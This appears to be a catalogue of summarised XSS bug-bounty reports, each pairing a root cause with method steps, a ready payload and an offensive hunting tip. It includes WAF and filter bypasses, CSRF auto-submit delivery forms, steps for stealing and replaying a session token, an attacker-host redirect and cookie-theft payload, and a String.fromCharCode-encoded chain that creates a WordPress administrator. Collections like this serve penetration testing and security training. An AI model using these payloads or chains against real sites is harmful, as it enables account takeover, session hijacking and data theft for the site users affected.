Method
- Run m-server on a directory
- Request a path containing a traversal + payload segment
- Listing page reflects the path unescaped; XSS fires
GET /../../../../home/vagrant/tmp/test/<svg/onload=alert(document.domain)>/../../../test/ HTTP/1.1
Insight — Static file servers / autoindex pages echo the requested path into HTML. Test the path (and 404 pages) with tag payloads; combine with traversal to reach a listing route. Fix is escapeHtml(path).
Real-world example
XSS via injected HTTP parameter NAME (not value)
◆ Medium
Specimen #963798 · endless_group · none · 12 votes · resolved
Program endless_groupSurface webChain CSRF-delivered POST -> name-reflected XSS
Root cause
AvantFax (CVE-2017-18024) reflects unknown POST parameter NAMES into the page (e.g. a debug/error echo of received fields); putting a <script> in the parameter name executes it.
Method
- Build a CSRF form POSTing to the login handler
- Add a hidden input whose NAME contains the payload
- Victim submits; the app echoes the field name and executes
<input type="hidden" name="jlbqg<script>alert(1)</script>b7g0x" value="1" />
Insight — Don't only fuzz values - fuzz parameter/field NAMES and header names. Apps that reflect the raw request (error dumps, 'unknown field X' messages) are vulnerable to name-based injection that value sanitizers miss.
Real-world example
Second-order stored XSS via attacker-controlled blog/site URL
◆ Medium
Specimen #1083734 · automattic · awarded · 12 votes · resolved
Program automatticSurface web
Root cause
IntenseDebate's 'Recent comments by' widget builds anchor tags from the commenter's blog/site URL and writes them via document.write without escaping some link contexts (Jump-to / Document links), so a crafted site URL/path injects markup.
Method
- Attacker registers a blog/site whose route or static filename contains an HTML-breaking payload
- Attacker installs IntenseDebate on that site with the malicious URL
- Victim comments on the attacker site, then views intensedebate.com/extras-widgets 'Recent comments by' block; payload executes
http://EVIL.example/"><img+src=z+onerror=alert(1)>.html
(for <a> context: http://EVIL.example/"onmousemove=alert(1)>.html)
Insight — A user's own website/URL is attacker-controlled input. Widgets that render referenced site URLs/paths into aggregated feeds are second-order stored XSS sinks - one link context often escaped while a sibling ('Jump to'/'Document') is not.
Real-world example
Reflected XSS via accesskey attribute injection + filter fix bypass
◆ Medium
Specimen #1187820 · revive_adserver · none · 12 votes · resolved
Program revive_adserverSurface web
Root cause
stats.php reflects statsBreakdown into a hidden input; a prior XSS fix only covered breakdown=history, so breakdown=affiliates still allows attribute injection. Because the sink is a hidden input, the accesskey global attribute is used to trigger onclick. CVE-2021-22948.
Method
- Request stats.php with breakdown=affiliates and a payload closing the value with onclick + accesskey=X
- Victim presses the browser accesskey combo (Alt+Shift+X in Firefox) to fire onclick on the hidden field
/admin/stats.php?entity=global&breakdown=affiliates&statsBreakdown=day%27%20onclick=alert(document.domain)%20accesskey=X%20
Insight — When XSS lands on a non-visible element (hidden input/type=hidden), add accesskey=X plus an event handler - the keyboard shortcut triggers it without a click. Always retest 'fixed' params by switching enum values (breakdown=history vs affiliates); fixes are often applied to one code path only.
Real-world example
javascript: URI in logout redirect -> reflected XSS + open redirect
◆ Medium
Specimen #1406598 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface webChain Open redirect -> reflected XSS
Root cause
A logout endpoint takes a service/return-URL param, uses it for redirect without scheme validation, and also reflects it such that a javascript: URI executes.
Method
- Set logout?service= to an external URL (open redirect)
- Set service=javascript:alert(1) to execute JS on the origin
https://TARGET/.../logout?service=javascript:alert(1)
Insight — SSO/logout/return-to params (service, ReturnUrl, next, redirect_uri) that accept javascript: are both open-redirect and XSS. Always test the javascript: scheme in redirect params, not just external hosts.
Real-world example
POST reflected XSS with WAF bypass via uncovered sibling domain
◆ Medium
Specimen #1850235 · deptofdefense · none · 12 votes · resolved
Program deptofdefenseSurface web
Root cause
fld_displaytype POST param is reflected into a hidden input (triggered via accesskey), and a WAF blocks the payload on the primary host - but a sibling domain serving the same app has no WAF, so the same POST fires there.
Method
- Identify the reflected POST param and craft accesskey attribute-injection payload
- WAF blocks it on the main host
- Find another domain/vhost pointing at the same backend without the WAF and send the POST there
fld_displaytype=S"%20accesskey%3d"X"%20onclick%3d"alert('XSS Success!')
Insight — A WAF protects a hostname, not the app. Enumerate sibling domains/CDN origins/staging vhosts mapping to the same backend and replay the blocked request there. Same accesskey-trigger trick for hidden-input sinks.
Real-world example
Stored XSS + CSRF in profile field -> account takeover
◆ Medium
Specimen #2037234 · mars · none · 12 votes · resolved
Program marsSurface webChain CSRF -> stored XSS + forced profile/password change ->Tag account-takeover
Root cause
The profile-update form stores the 'apellido' (surname) field unescaped and has no CSRF protection; a cross-site auto-submit form both plants the stored XSS and (with empty oldpass allowed + guessable idUsuario) modifies arbitrary accounts.
Method
- Build a CSRF auto-submit form POSTing the profile update with apellido=<script>...
- Victim opens the page; form submits and stores the payload
- Payload renders on the profile page; oldpass may be left empty and idUsuario is guessable, enabling forced account changes/takeover
<input type="hidden" name="apellido" value="<script>alert()</script>" /> (auto-submit form; oldpass left empty, idUsuario=91737 guessable)
Insight — Chain CSRF (missing token) with a stored-XSS-able field to plant persistent payloads in a victim's account and, where password change lacks old-password enforcement, escalate to ATO. Test whether oldpass can be blank and whether the user id is guessable.
Real-world example
Stored XSS via publicly-editable embedded Google Sheet
◆ Medium
Specimen #193799 · uber · 2000 · 12 votes · resolved
Program uberSurface web
Root cause
ubermovement.com subdomains render a publicly-editable Google Sheet directly into the page; anyone can edit a cell to inject HTML/JS that executes for all site visitors.
Method
- Find the Google Sheet backing the site's data
- Edit a cell to contain an HTML/JS payload
- Payload is rendered into the page and runs for every viewer
(cell content) <img src=x onerror=alert(document.domain)>
Insight — Map every third-party data source a site embeds (Google Sheets, public Airtable/Trello, wikis, RSS). If the source is world-editable and rendered unescaped, it is a stored XSS vector with no auth required. Check the embed/data-fetch URL for open write permissions.
Real-world example
Second-order stored XSS: HTML-entity payload decoded on admin edit
◆ Medium
Specimen #1428207 · judgeme · $500 · 11 votes · resolved
Program judgemeSurface web
Root cause
A payload stored HTML-entity-encoded in one context (safe as displayed) is decoded back to raw HTML when re-rendered into a different sink (the Shopify admin question-edit form), executing as XSS. A patch on the primary sink (#1416672) was bypassed by shifting to the edit context.
Method
- Create a product whose name is the HTML-entity-encoded XSS payload
- Write a question on that product using the same encoded name
- Delete the product so its status becomes out-of-store in questions
- Open the question in Shopify admin -> Judge.me -> Questions -> Edit: the entities are decoded into live markup and fire
"><"><img src=x onerror=prompt(document.domain)> img src=x onerror=prompt(document.domain)>
Insight — Always retest a 'fixed' field in every place its value is re-rendered (list vs edit vs admin). Store entity-encoded payloads and look for a sink that decodes them; edit/preview forms frequently decode entities that the display view escaped.
Real-world example
class-attribute injection in markdown abuses pre-bound JS handlers + CSS
◆ Medium
Specimen #216453 · gitlab · none · 11 votes · resolved
Program gitlabSurface web
Root cause
The markdown sanitizer allows an arbitrary class attribute on elements. Since the app binds click/behavior handlers and layout by classname, attacker-chosen classes hijack existing JS gadgets and CSS (fullscreen/overlay) for content forgery and UI redress.
Method
- In a comment/issue body, add an element with a controlled class attribute
- Use framework classes wired to JS event listeners (e.g. js-details-expand/js-details-content) to trigger behaviors
- Use layout classes (zen-backdrop fullscreen) to overlay/forge page content and hide real comments
<pre class="js-details-expand">click me</pre>
<pre class="js-details-content hide">foo</pre>
<pre class="zen-backdrop fullscreen center">...forged overlay...</pre>
Insight — An allowed class attribute is a gadget: without any script you can drive pre-existing delegated event handlers and CSS to spoof UI, hide content, or DoS a page. Audit sanitizer allowlists for class/style, not just tags/handlers.
Real-world example
plupload.flash.swf Same-Origin Method Execution reflected XSS
◆ Medium
Specimen #218451 · x · awarded · 11 votes · resolved
Program xSurface web
Root cause
The bundled WordPress plupload.flash.swf performs insecure flashVars URL sanitization; ExternalInterface lets an attacker call an arbitrary JS method (SOME) same-origin, yielding reflected XSS.
Method
- Locate /wp-includes/js/plupload/plupload.flash.swf on a WordPress host
- Pass crafted flashVars naming the target JS method and args
- Open in a browser with Flash enabled to fire ExternalInterface
https://TARGET//wp-includes/js/plupload/plupload.flash.swf?%#target%g=alert&uid%g=XSS&
Insight — Fingerprint WordPress and grep for legacy SWFs (plupload.flash.swf, moxieplayer, ZeroClipboard). Vulnerable versions give a same-origin XSS/SOME primitive independent of the app's own input handling. (Now largely mitigated by Flash EOL.)
Real-world example
Stored XSS via unsanitized Name/title field, delivered by sharing to other users
◆ Medium
Specimen #237100 · mixmax · none · 11 votes · resolved
Program mixmaxSurface webChain stored XSS -> shared object -> executes in victim/teamTag account-takeover
Root cause
A user-controlled object Name/title field is stored and rendered into HTML without encoding; injecting a breakout + img/svg handler yields stored XSS that fires for every user who views the object, and sharing features push it to victims.
Method
- Create/edit an object and set its Name to a breakout + event-handler payload
- Save; confirm it executes in your own view
- Use the app's share/invite flow so other users/teammates render (and are hit by) the payload
"><img src=x onerror=alert(document.domain)>
# variants seen: <svg/onload=alert(document.domain)> ; /><svg src=x onload=confirm(document.domain)>
Insight — Name/title/campaign/project/display-name fields are the highest-yield stored-XSS sinks. Prioritize fields that are (a) rendered to other users and (b) reachable via a share/collaborate flow, which supplies the delivery vector automatically.
Real-world example
javascript: URI filter bypass via case + newline comment
◆ Medium
Specimen #282209 · infogram · none · 11 votes · resolved
Program infogramSurface web
Root cause
A logo-link validator blacklisted the literal 'javascript:' and expected an http[s] prefix, but the scheme is case-insensitive and a %0a newline turns the appended http:// into a JS comment, so a crafted URI executes when the logo is clicked.
Method
- Find a stored URL field rendered as a clickable href (custom logo link)
- Bypass the 'javascript' blacklist with mixed case: javascripT://
- Neutralize the required/appended http:// by putting it after a %0a newline so it becomes a // comment line, with alert() on its own line
javascripT://https://google.com%0aalert(1);//https://google.com
Insight — scheme checks are case-insensitive in browsers - always try javaScript:. When a validator forces/appends http://, break it with %0a (newline) so surrounding text becomes // comments and only your JS line runs.
Real-world example
Stored XSS via username rendered unsanitized by client-side JS (dropdown)
◆ Medium
Specimen #346217 · gitlab · none · 11 votes · resolved
Program gitlabSurface web
Root cause
A JS component (approvers_select.js) builds a dropdown by injecting the raw username into the DOM, so a username containing an img/onerror payload executes when a privileged user opens the approver picker.
Method
- Set your username/display name to an img+onerror payload
- Gain the role that surfaces you in the target UI (Master on a project)
- Have the victim open the merge-request-approvals user dropdown; the client-side render fires the payload
<img src=x onerror=alert(document.domain)> foo / bar
Insight — Server-side templates may escape usernames, but client-side JS that innerHTMLs the same value into autocomplete/dropdown widgets re-introduces XSS. Hunt for user-controlled strings assembled by front-end JS (selectors, mention pickers, approver lists).
Real-world example
Node url.parse() hostname spoofing via javascript: URI
◆ Medium
Specimen #395845 · nodejs · none · 11 votes · resolved
Program nodejsSurface webChain hostname check bypass -> open redirect / DOM XSS sinkTag open-redirect
Root cause
The legacy url.parse() applies case-sensitive scheme checks; a javascript: URI with an @host can be parsed so hostname resolves to an attacker-chosen allowlisted value while the real scheme is javascript:, defeating hostname-based access/redirect checks.
Method
- Find server/client code that trusts url.parse(input).hostname for an allow/deny or redirect decision
- Supply javAscript:<js>;a='@allowed-host' so parsed hostname == allowed-host
- The check passes but the value is a javascript: URI (or open redirect), typically yielding XSS
javAscript:alert(1);a='@white-listed.com'
# node -e 'console.log(require("url").parse("javAscript:alert(1);a=\x27@white-listed.com\x27").hostname)' -> white-listed.com
Insight — Never gate security decisions on url.parse().hostname; the parser can be tricked with mixed-case schemes and @-userinfo. Prefer the WHATWG URL API and exact scheme checks. On targets, test allowlist/redirect logic with javaScript:...@allowed.com.
Real-world example
Reflected XSS via Tableau embeddedAuthRedirect auth= parameter
◆ Medium
Specimen #759418 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface web
Root cause
Tableau Server's embeddedAuthRedirect.html reflects the auth parameter into a redirect/href sink that accepts a javascript: URI, giving unauthenticated reflected XSS on default installations.
Method
- Fingerprint Tableau on a subdomain
- Request /en/embeddedAuthRedirect.html with auth set to a javascript: URI
https://TARGET/en/embeddedAuthRedirect.html?auth=javascript:alert(%22xss%22)
Insight — Keep a list of known-product XSS sinks (Tableau embeddedAuthRedirect auth=, Oracle/Jira/Confluence paths). When you fingerprint the product, go straight for the documented vulnerable endpoint instead of blind fuzzing.
Real-world example
Reflected XSS from API returning input as text/html (missing JSON Content-Type)
◆ Medium
Specimen #782764 · ratelimited · none · 11 votes · resolved
Program ratelimitedSurface api
Root cause
A JSON API endpoint (set_tier) echoes a request parameter but omits Content-Type: application/json, so the response is served as text/html and the reflected value executes; added backslash-escaping of " and / is defeated with JS comments.
Method
- Find an API endpoint that reflects input but whose response Content-Type is text/html (not application/json)
- Inject an XSS payload in the reflected parameter (tier)
- If the app escapes \ before " and /, use JS comments to neutralize the escaping
POST /users/<id>/set_tier tier=<XSS payload reflected in text/html response>
Insight — Always check the response Content-Type: an API that reflects data but returns text/html (or wrong charset) is XSS even when it 'looks like JSON'. Missing X-Content-Type-Options: nosniff makes it worse.
Real-world example
Self-XSS on chat drag-and-drop escalated to session hijack via Meteor loginToken
◆ Medium
Specimen #962902 · rocket_chat · none · 11 votes · resolved
Program rocket_chatSurface webChain drag-and-drop self-XSS -> steal Meteor.loginToken from loTag account-takeover
Root cause
The chat text box's drag-and-drop handler does not sanitize dropped image markup (DOM XSS). Combined with Meteor storing the auth loginToken in localStorage, the executed JS exfiltrates the token; replaying it in another browser's localStorage hijacks the session (CVE-2020-8292).
Method
- Serve a crafted image/payload
- Socially engineer the victim to drag-and-drop it into the chat box (self-XSS trigger)
- The payload lifts Meteor.loginToken (from localStorage / logged to server)
- Set that token as localStorage['Meteor.loginToken'] in your browser; the app auto-authenticates as the victim
Meteor.loginToken exfil -> localStorage.setItem('Meteor.loginToken', '<stolen>'); location.reload()
Insight — Self-XSS is not automatically low-impact: a plausible drag-and-drop lure plus tokens in localStorage (common in Meteor/SPA apps) turns it into full session hijack. Always check localStorage for auth tokens replayable across browsers.
Real-world example
Reflected XSS via server-side URL fetch, chained with clickjacking
◆ Medium
Specimen #1149144 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface webChain server-side URL fetch (SSRF) -> reflected XSS -> click
Root cause
An endpoint takes a url parameter, has the server fetch it, and renders the response path into the page unencoded (reflected XSS + SSRF). Because the trigger is issued via XMLHttpRequest it is not CSRF-able, so exploitation is delivered through clickjacking.
Method
- Pass url= pointing to an attacker host whose path contains an img/onerror payload
- Server fetches it and renders the path -> XSS fires
- Since the flow needs a same-origin XHR/click and can't be CSRF'd, frame the page and use a clickjacking overlay to force the click
https://TARGET/...&url=http%3a%2f%2fattacker.com%2f%3Cimg+src%3dx+onerror%3dalert(document.domain)%3E
# path served by attacker: <img src=x onerror=alert(1)>
Insight — When a reflected/DOM XSS trigger requires user interaction and can't be delivered via CSRF (XHR-driven), chain it with clickjacking (e.g. Burp Clickbandit) to still land a one-click exploit. url= fetch params are also SSRF candidates.
Real-world example
Reflected XSS via chunked request body reflected into Apache/PHP error page (CVE-2018-17082)
◆ Medium
Specimen #409986 · ibb · $500 · 10 votes · resolved
Program ibbSurface web
Root cause
A bug in PHP's sapi_apache2.c chunked-request handling (APR brigade bucket reuse) causes the raw request body of a chunked POST to be reflected verbatim into Apache's 400 Bad Request error page as text/html, giving reflected XSS at any endpoint.
Method
- Send a chunked POST (Transfer-Encoding: chunked) to any PHP endpoint on an affected Apache/PHP build
- Put script markup in the body
- The malformed-request 400 response echoes the body unencoded, executing the script
POST /lol.php HTTP/1.1
Host: TARGET
Content-Type: application/json
Transfer-Encoding: chunked
Content-Length: 25
<script>alert(1)</script>
Insight — Server/interpreter-level parsing bugs can reflect the raw request into error pages irrespective of app code - test malformed/chunked requests and read what the default error page echoes. Check for outdated PHP (< 5.6.38/7.0.32/7.1.22/7.2.10) on Apache.
Real-world example
Reflected XSS in a parameter NAME, delivered cross-user via CSRF-less add-to-cart
◆ Medium
Specimen #95089 · shopify · awarded · 10 votes · resolved
Program shopifySurface webChain CSRF (no token on /cart/add) -> reflected XSS in cart -&gTag account-takeover
Root cause
The cart reflects form-field NAMES (properties[...] keys), not just values, unencoded. Because add-to-cart has no CSRF protection, an attacker can force a victim's browser to store the malicious property key, turning a reflected sink into a cross-user (even admin) XSS.
Method
- Add product to cart, intercept the multipart POST
- Inject the payload into the property KEY: name="properties[Artwork file<img ...>]"
- Host a CSRF page that submits this to /cart/add with withCredentials
- Victim visits cart and hovers the image -> payload fires
Content-Disposition: form-data; name="properties[Artwork file<img src='test' onmouseover='alert(2)'>]"; filename="test.png"
Delivered cross-user via a CSRF form POSTing multipart/form-data to http://TARGET/cart/add (xhr.withCredentials = true).
Insight — Test the parameter/field NAME as an injection point, not only its value. When the state-changing endpoint lacks CSRF protection, a self/reflected XSS becomes a stored cross-user attack by making the victim's own browser plant the payload.
Real-world example
Reflected XSS via WordPress flashmediaelement.swf jsinitfunction
◆ Medium
Specimen #137905 · eternal · none · 10 votes · resolved
Program eternalSurface webTag file-upload
Root cause
An outdated bundled third-party Flash file (mediaelement's flashmediaelement.swf, shipped with old WordPress) reflects the jsinitfunction parameter into a JS callback, allowing arbitrary script via the SWF.
Method
- Fingerprint WordPress / mediaelement asset path
- Request the SWF with a malicious jsinitfunction value
- Payload executes on page load
/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alert`1`
Insight — Grep the target for known-vulnerable static third-party files (flashmediaelement.swf, moxieplayer.swf, ZeroClipboard, plupload flash). These are version-fingerprintable XSS gadgets independent of the app's own code — fix is to update WordPress/mediaelement.
Real-world example
Stored XSS via ZIP/HTML file upload rendered inline (Rich Media)
◆ Medium
Specimen #142540 · pushwoosh · none · 10 votes · resolved
Program pushwooshSurface webTag file-upload
Root cause
A 'Rich Media' feature accepts a ZIP whose contained index.html (with JS) is later served/rendered from the app origin, giving stored XSS from an uploaded file.
Method
- Create new Rich Media, upload a ZIP containing an index.html with a script payload
- Save and open the media
- The uploaded HTML executes in the app origin
index.zip -> index.html containing: <script>alert(document.domain)</script>
Insight — Any feature that unpacks an archive and serves its HTML/JS from the app's own origin is a stored-XSS (potentially HTML-content) sink. Test uploads of .html/.svg and ZIP-bundled index.html; check the served Content-Type and origin.
Real-world example
DOMXSS via <base href> from protocol-relative URL (script-source hijack)
◆ Medium
Specimen #158749 · informatica · none · 10 votes · resolved
Program informaticaSurface webTag subdomain-takeover
Root cause
Client JS builds a <base href> from window.location.pathname and appends it to <head>. A protocol-relative URL (leading //) makes the pathname begin with //host, so <base> resolves all subsequent relative script/asset URLs against an attacker-controlled host.
Method
- Find pages that set document.location.pathname into a <base href>
- Request the page with a doubled leading slash so pathname starts with //word
- Observe relative script requests now go to https://word/... (a registerable gTLD/host)
- Register that host and serve malicious JS -> XSS
https://alpha.TARGET.com//assessmentBase/assessment.html
Vulnerable code:
var baseHeaderElement = '<base href="'+ window.location.pathname + '" />';
$('head').append(baseHeaderElement);
=> failed GET to https://assessmentbase/etc/.../angular.min.js (attacker-registerable)
Insight — Any client code that reflects location.pathname/href into a <base> tag is DOMXSS-able via a protocol-relative path; the exploit cost is registering the single-label host the relative assets resolve to. Passive Burp code-analysis flags these.
Real-world example
Stored XSS via Media Embed crafted to match shortcode format
◆ Medium
Specimen #275386 · automattic · awarded · 10 votes · resolved
Program automatticSurface webTag account-takeover
Root cause
A quiz Media Embed field is processed as a shortcode; formatting the payload to look like a valid shortcode ([...]) makes the parser emit it into the page unescaped, storing XSS that fires for anyone opening the shared quiz.
Method
- Create a multiple-choice quiz
- Insert the payload into Media Embed shaped like a shortcode
- Share the quiz link; viewers trigger the payload
[<img src="http://url.to.file.which/not.exist" onerror=alert("Hello!");>]
Insight — On CMS/quiz/blog platforms, embed and shortcode fields ([...], {{...}}, BBCode) are parsed specially — wrapping the payload in the expected shortcode delimiters can slip HTML past the sanitizer that only guards the plain-text path. Always test embed/shortcode inputs separately from normal text fields.
Real-world example
Stored XSS via crafted filename in a directory-listing page
◆ Medium
Specimen #570563 · nodejs-ecosystem · none · 10 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
A Node HTTP file-server (http-file-server 0.2.6) renders filenames into the directory-listing HTML without encoding, so a file whose NAME contains an event handler yields stored XSS served from the app origin (CVE-2019-5458).
Method
- Create a file whose name is an XSS payload in a served directory
- Run the file server and browse the directory listing
- Hover/trigger the event -> payload fires
filename: " onmouseover=alert(1) "
Insight — Filenames are a stored-XSS vector anywhere directory contents, upload lists, or attachment names are echoed into HTML (file servers, upload galleries, S3 browsers). The attacker doesn't need file CONTENT to be dangerous — just the name. Test names with quotes/on* handlers/angle brackets.
Real-world example
Reflected XSS — injection-context breakout catalogue (attribute/tag/JS/script)
◆ Medium
Specimen #976137 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
User-controlled GET/POST parameters are reflected into the response without context-appropriate encoding. The winning payload depends on where the value lands: inside an attribute, an HTML tag body, a JS string, or an existing <script> block.
Method
- Send a canary and locate the reflection context in the response source
- Pick the breakout for that context (close attribute/tag/string/script)
- Confirm execution with alert(document.domain)
Attribute context (this report): " autofocus onfocus="alert(document.domain)"
reflected as: VALUE="" autofocus onfocus="alert(document.domain)"%>
Context cheat-sheet from batch:
- HTML tag body: "><svg/onload=alert(1)> | <Svg OnLoad=alert(1)>
- Inside <script> string: ';alert(document.domain)//
- Break out of <script> tag: </script><script>alert(document.domain)</script>
- charCode evasion in script: <script>alert(String.fromCharCode(88,83,83))</script>
- iframe data URI: <iframe src="data:text/html,<script>alert(1)</script>"> (hex/URL-encode the inner script)
Insight — Always identify the reflection CONTEXT first with a unique canary, then choose the minimal breakout. autofocus+onfocus fires without user interaction inside an attribute; </script> reliably escapes a JS block; data:text/html iframes execute where tags are stripped but iframe/src survive. One parameter often reflects in multiple places with different contexts.
Real-world example
WAF bypass via javascript: URI with embedded newline in anchor href
◆ Medium
Specimen #1012249 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
A search keyword is reflected into an href; the WAF blocks the literal 'javascript:' scheme, but browsers strip control characters, so inserting a CR/LF (%0A%0D) inside the scheme evades the filter while remaining a valid javascript: URI.
Method
- Find input reflected into an href/src attribute
- Inject an anchor whose href is a javascript: URI
- Split the scheme with URL-encoded newline to bypass the WAF signature
- Victim clicks the rendered link -> payload runs
<a+href="ja%0A%0Dvascript:alert(document.domain)">Click</a>
Insight — When a WAF blocks the 'javascript:' keyword, break the string with control characters the HTML parser ignores (%0A, %0D, %09, %00, and HTML entities like java	script:). Applies to href/src/formaction and to open-redirect-to-XSS pivots.
Real-world example
Stored XSS chained with missing CSRF token (unauth stored XSS)
◆ Medium
Specimen #1102018 · concretecms · none · 10 votes · resolved
Program concretecmsSurface webChain CSRF (no ccm_token check) -> stored XSS in event descriptTag account-takeover
Root cause
The calendar event 'add/save' endpoint stores the description field without output encoding AND does not validate its ccm_token CSRF token, so an attacker page can force a logged-in privileged user to plant stored XSS on their own site (CVE-2021-40108).
Method
- Identify a state-changing endpoint that both stores reflected data and skips CSRF validation
- Build a CSRF form POSTing the XSS payload in the stored field
- Victim (logged-in admin) opens the attacker page and auto-submits
- Open the created record -> stored XSS fires
<form action="http://TARGET/index.php/ccm/calendar/dialogs/event/add/save" method="POST">
<input name="caID" value="1">
<input name="name" value="csrf_xss">
<input name="description" value="<img src=x onerror=alert(document.domain)>">
<input name="publishAction" value="approve">
</form>
<script>document.forms[0].submit()</script>
Insight — A stored-XSS sink that also lacks CSRF protection is exploitable without any attacker account: the victim's authenticated browser writes the payload. When triaging stored XSS, always check whether the write endpoint enforces its CSRF token — the missing token upgrades impact from authed-self to drive-by.
Real-world example
Reflected XSS via %0a(LF) breaking HTML context in URL-fetch param (siteBaseUrl) + char-encoded handler
◆ Medium
Specimen #213190 · starbucks · none · 10 votes · resolved
Program starbucksSurface apiChain XSS -> cookie theft; same param -> open redirectTag open-redirect
Root cause
A URL-fetch parameter (siteBaseUrl) is reflected into HTML; a raw %0a (newline) plus percent-encoded letters in an onload handler evade a filter that keys on inline keywords, injecting a live tag. Same param is also an open-redirect sink.
Method
- Find a param reflected into the page that also looks like a URL (siteBaseUrl/base/return)
- Inject %0a (LF) to break out of the filtered inline context
- Use percent-encoded letters in the event handler to dodge keyword filters (%61lert=alert, %64ocument=document)
- Confirm alert(document.cookie); the same param yields open redirect via window.location
https://TARGET/searchasyoutype/v1/search?x-api-key=KEY&query=coffe&partnerid=PID&siteBaseUrl=http://googl.com/%0a<body onload=%61lert(%64ocument.%63ookie)>%
# open redirect variant:
siteBaseUrl=http://googl.com/%0a<script>window.location='https://evil'</script>%
Insight — URL-shaped params (siteBaseUrl/base/return/dest) are dual XSS + open-redirect sinks; %0a/%0d newlines break filters that assume single-line reflection, and percent-encoded letters bypass keyword denylists.
Real-world example
Reflected XSS -> WordPress admin user creation chain
◆ Medium
Specimen #935503 · acronis · awarded · 9 votes · resolved
Program acronisSurface webChain reflected XSS -> in-page XHR nonce theft -> createuserTag account-takeover
Root cause
A WordPress landing page reflects the email param inside a <script> block; </script><script> breakout runs JS that (as a logged-in admin victim) scrapes the create-user nonce and POSTs a new administrator.
Method
- Break out of the reflecting script with </script><script>...
- Encode the JS body with String.fromCharCode to survive WAF/filtering
- JS: GET /wp-admin/user-new.php, regex the _wpnonce_create-user value, POST action=createuser with role=administrator
email@teste.com</script><script>eval(String.fromCharCode(/* payload below */))</script>
// decoded JS:
var ajaxRequest=new XMLHttpRequest,requestURL="/wp-admin/user-new.php",nonceRegex=/ser" value="([^"]*?)"/g;ajaxRequest.open("GET",requestURL,!1);ajaxRequest.send();var nonce=nonceRegex.exec(ajaxRequest.responseText)[1],params="action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";(ajaxRequest=new XMLHttpRequest).open("POST",requestURL,!0);ajaxRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded");ajaxRequest.send(params);
Insight — A single reflected XSS on any page of a WordPress admin's session is enough for full site takeover: fetch the wp-admin nonce with an in-page XHR and create an admin. Encode the JS with String.fromCharCode to bypass filters.
Real-world example
accesskey attribute to trigger event-handler XSS in attribute context
◆ Medium
Specimen #1097217 · revive_adserver · none · 9 votes · resolved
Program revive_adserverSurface web
Root cause
statsBreakdown reflects into an HTML attribute; single-quote breakout injects onclick plus an accesskey attribute so the handler is user-triggerable even without an auto-firing sink.
Method
- Break out of the attribute with a single quote
- Add onclick=alert(document.domain) and accesskey=X
- Victim presses the browser accesskey combo (Firefox Alt+Shift+X) to fire it
statsBreakdown=day' onclick=alert(document.domain) accesskey=X
Insight — When you can only inject into an attribute context (no auto-firing event), add accesskey= so a single keypress triggers your onclick/onfocus. Turns a 'needs interaction' near-miss into a reportable XSS.
Real-world example
Reflected XSS in URL path segment on search-suggest API (text/html response)
◆ Medium
Specimen #1244722 · mtn_group · none · 9 votes · resolved
Program mtn_groupSurface apiTag api
Root cause
A search-suggest endpoint reflects an unescaped path segment (/search/suggest/q/<here>) and serves it with Content-Type: text/html, so injected markup executes.
Method
- Put the payload directly in the URL path, not a query param
- Confirm the response Content-Type is text/html (not application/json)
http://TARGET/search/suggest/q/xss<img src=x onerror=alert()>1337
Insight — Autocomplete/suggest endpoints often echo the query into an HTML fragment. Always check the response Content-Type: an API that returns text/html for reflected input is XSS-exploitable; test the path segment, not just query strings.
Real-world example
Reflected XSS in third-party chat widget input
◆ Medium
Specimen #1735622 · mtn_group · none · 9 votes · resolved
Program mtn_groupSurface web
Root cause
A live-chat/chatbot widget reflects a user-entered value (phone number field) into the DOM without encoding.
Method
- Open the site chat widget
- Enter markup where it asks for a number/name
- Injected element renders in the chat transcript DOM
<button onClick="alert('xss')">Submit</button>
Insight — Embedded chat/support widgets are an under-tested reflected-XSS surface: their inputs are echoed back into the transcript DOM. Fuzz every widget field, not just first-party forms.
Real-world example
Tag-breakout plus trailing HTML comment to swallow following markup
◆ Medium
Specimen #1834042 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface web
Root cause
userId reflected inside an element; closing the surrounding tag and appending <!-- comments out the rest of the page so the injected <script> parses cleanly.
Method
- Close the enclosing tag (e.g. </b>)
- Inject <script>...</script>
- Append <b><!-- to comment out trailing template markup that would otherwise break parsing
/dochelper?userId=</b><script>alert(document.cookie)</script><b><!--
Insight — When reflection lands mid-element and trailing HTML would break your payload, close the current tag and finish with <!-- to neutralize everything after your injection. Also seen as </a><img src=x onerror=...><!-- in Adobe #50389.
Real-world example
POST-only reflected XSS delivered via CSRF auto-submit form
◆ Medium
Specimen #3137206 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
A wiki-page parameter (description_extra) reflects unescaped, but is only reachable via POST; delivery is a self-submitting cross-site form that carries the required authtoken.
Method
- Identify the reflecting POST param
- Build an auto-submitting HTML form (multipart/form-data) including any required tokens
- history.pushState + forms[0].submit() to fire on victim visit
- Use slash-obfuscated payload to dodge naive filters
<img/src/onerror=alert(1)>
<!-- delivery -->
<form action="TARGET" method="POST" enctype="multipart/form-data">
<input type="hidden" name="description_extra" value="1<img/src/onerror=alert(1)>">
... other required fields ...
</form>
<script>document.forms[0].submit();</script>
Insight — A reflected XSS that only fires on POST is still exploitable: wrap it in a CSRF auto-submit form. Slash separators (<img/src/onerror=) bypass filters keyed on the space after the tag name. Variant #3137212 delivered <iframe src=data:text/html;base64,...> the same way.
Real-world example
ASP.NET Control.ResolveUrl path XSS + print`` backtick WAF bypass
◆ Medium
Specimen #3166585 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface web
Root cause
ASP.NET apps that pass user-controlled app-root-relative paths through Control.ResolveUrl reflect the value unsanitized into markup, allowing attribute/handler injection.
Method
- Inject into the path handled by ResolveUrl
- Use an unknown/garbage attribute name then onload= to execute
- Replace alert() with print`` (backtick call, no parens) to slip past WAF/filter rules
TARGET/(Z('ontestingb3t2h onload=print`` fnwve='zzzzz`8504695818`'))/support.aspx
